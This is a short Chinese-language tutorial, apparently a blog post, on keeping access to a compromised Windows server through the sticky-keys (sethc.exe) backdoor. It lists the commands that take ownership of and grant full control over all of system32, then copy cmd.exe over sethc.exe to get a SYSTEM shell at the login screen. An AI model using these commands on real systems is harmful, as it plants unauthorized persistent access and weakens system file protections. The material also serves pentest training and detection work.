操作系统权限维持（一）之Windows系统-粘贴键后门

前言

在获取服务器权限后，为了防止服务器管理员发现和修补漏洞而导致对服务器权限的丢失，测试人员往往需要采取一些手段来实现对目标服务器的持久化访问。

权限持久化（权限维持）技术就是包括任何可以被测试人员用来在系统重启、更改用凭据或其他可能造成访问中断的情况发生时保持对系统的访问技术。

Web入侵流程

粘贴键后门

粘滞键概念

粘滞键漏洞，在Windows系统下连续按5下SHIFT键，可以启动系统的粘滞键功能，其进程名为Sethc.exe，应用程序在Windows\system32下

粘贴键后门原理

通过将其它应用程序（如：cmd.exe、 或木马、病毒）将Sethc.exe这个可执行程序进行替换。当再次连续按5次SHIFT键，就会以system权限运行替换后的应用程序

粘贴键后门演示

1、复制cmd.exe为sethc.exe

copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe

当我们去修改粘贴键作为后门时，Windows系统会以权限不够为由拒绝我们的操作，这时就需要我们去修改文件命令

2、需要更改文件权限，如下命令

takeown /f c:\windows\system32\*.* /a /r /d y 
cacls c:\windows\system32\*.* /T /E /G administrators:F 
两条命令均可

3、在命令运行完后，在执行第一条命令

copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe

这时我们的权限是够的

4、现在我们连按shift键五下后将弹出一个system权限的cmd窗口，作为后门